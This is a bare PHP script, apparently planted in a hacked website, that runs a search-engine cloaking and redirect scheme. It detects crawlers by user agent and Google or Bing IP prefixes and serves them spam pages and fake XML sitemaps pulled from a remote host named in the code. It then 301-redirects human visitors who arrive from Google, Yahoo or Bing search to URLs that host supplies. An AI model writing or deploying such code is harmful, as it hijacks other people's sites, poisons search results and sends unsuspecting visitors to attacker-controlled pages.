date_default_timezone_set('Asia/Shanghai'); ignore_user_abort(); set_time_limit(0); $host_url = "https://t01.kindx.shop/api/jiechi.php"; $gg_header = ' '; function isSpider() { $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $spiderKeywords = array('bot', 'spider', 'crawler', 'googlebot', 'bingbot', 'yandexbot'); foreach ($spiderKeywords as $keyword) { if (stripos($userAgent, $keyword) !== false) { return true; } } return false; } function makeCurlRequest($url, $method = 'GET', $postData = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if ($method === 'POST') { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); } $response = curl_exec($ch); curl_close($ch); return $response; } function isRealSpider() { $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $ipAddress = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; $spiderKeywords = array('bot', 'spider', 'crawler', 'googlebot', 'bingbot', 'yandexbot'); $realSpiderIPs = array('64.233.', '66.102.', '74.125.', '207.46.', '209.85.', '216.239.'); $userAgentMatch = false; foreach ($spiderKeywords as $keyword) { if (stripos($userAgent, $keyword) !== false) { $userAgentMatch = true; break; } } $ipAddressMatch = false; foreach ($realSpiderIPs as $ipPrefix) { if (strpos($ipAddress, $ipPrefix) === 0) { $ipAddressMatch = true; break; } } if ($userAgentMatch && $ipAddressMatch) { return true; } return false; } $currentURL = 'http' . (isset($_SERVER['HTTPS']) ? 's' : '') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $token = base64_encode(base64_encode(md5("monkey")."$".base64_encode(time()))); if(stripos($currentURL,"sitemapmonkey")!==false || stripos($currentURL,"sitemapall")!==false){ $list_data = makeCurlRequest($host_url,"POST",["post_url"=>$currentURL,"map_all"=>1,"token"=>$token]); $pages = json_decode($list_data,true); $xml = new DomDocument('1.0', 'UTF-8'); $sitemapindex = $xml->createElement('sitemapindex'); $sitemapindex->setAttribute('xmlns', 'http://www.sitemaps.org/schemas/sitemap/0.9'); $xml->appendChild($sitemapindex); foreach ($pages as $page) { $sitemap = $xml->createElement('sitemap'); $loc = $xml->createElement('loc', $page); $sitemap->appendChild($loc); $lastmod = $xml->createElement('lastmod', date("c")); $sitemap->appendChild($lastmod); $sitemapindex->appendChild($sitemap); } $echo_html = $xml->saveXML(); header('Content-Type: application/xml'); echo $echo_html;exit(); }else if(stripos($currentURL,".xml")!==false){ $list_data = makeCurlRequest($host_url,"POST",["post_url"=>$currentURL,"monkey_map"=>1,"token"=>$token]); $pages = json_decode($list_data,true); $xml = new DomDocument('1.0', 'UTF-8'); $urlset = $xml->createElement('urlset'); $urlset->setAttribute('xmlns', 'http://www.sitemaps.org/schemas/sitemap/0.9'); $xml->appendChild($urlset); foreach ($pages as $page) { $url = $xml->createElement('url'); $loc = $xml->createElement('loc', $page); $url->appendChild($loc); $lastmod = $xml->createElement('lastmod', date("c")); $url->appendChild($lastmod); $changefreq = $xml->createElement('changefreq', 'hourly'); $url->appendChild($changefreq); $priority = $xml->createElement('priority', '0.8'); $url->appendChild($priority); $urlset->appendChild($url); } $echo_html = $xml->saveXML(); header('Content-Type: application/xml'); echo $echo_html;exit(); }else if (isSpider()) { $echo_html = ""; if(stripos($currentURL,"monkey_map")!==false){ $list_data = makeCurlRequest($host_url,"POST",["post_url"=>$currentURL,"monkey_map"=>1,"token"=>$token]); $pages = json_decode($list_data,true); $xml = new DomDocument('1.0', 'UTF-8'); $urlset = $xml->createElement('urlset'); $urlset->setAttribute('xmlns', 'http://www.sitemaps.org/schemas/sitemap/0.9'); $xml->appendChild($urlset); foreach ($pages as $page) { $url = $xml->createElement('url'); $loc = $xml->createElement('loc', $page); $url->appendChild($loc); $lastmod = $xml->createElement('lastmod', date('Y-m-d\TH:i:s\Z', time())); $url->appendChild($lastmod); $changefreq = $xml->createElement('changefreq', 'daily'); $url->appendChild($changefreq); $priority = $xml->createElement('priority', '0.8'); $url->appendChild($priority); $urlset->appendChild($url); } $echo_html = $xml->saveXML(); header('Content-Type: application/xml'); }else{ $shizhizhu = 0; if(isRealSpider()){ $shizhizhu = 1; } header('Cache-Control: public,max-age=8640000'); $echo_html = makeCurlRequest($host_url,"POST",["post_url"=>$currentURL,"monkey_page"=>"1","token"=>$token,"shizhizhu"=>$shizhizhu]); echo ""; echo $gg_header; } echo $echo_html;exit(); }else { $acceptLanguage = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $is_referer = false; $is_accept=false; if (strpos($referer, '.google') !== false || strpos($referer, 'google.') !== false) { $is_referer = true; } elseif (strpos($referer, '.yahoo') !== false || strpos($referer, 'yahoo.') !== false) { $is_referer = true; } elseif (strpos($referer, 'bing.') !== false || strpos($referer, '.bing') !== false) { $is_referer = true; } // if (strpos($acceptLanguage, 'ja') !== false) { // $is_accept = true; // } echo $gg_header; if($is_referer){ $newURL = makeCurlRequest($host_url,"POST",["post_url"=>$currentURL,"get_url"=>"1","token"=>$token]); header('Cache-Control: public,max-age=8640000'); header("HTTP/1.1 301 Moved Permanently"); header('Location: ' . $newURL); echo ""; exit(); } }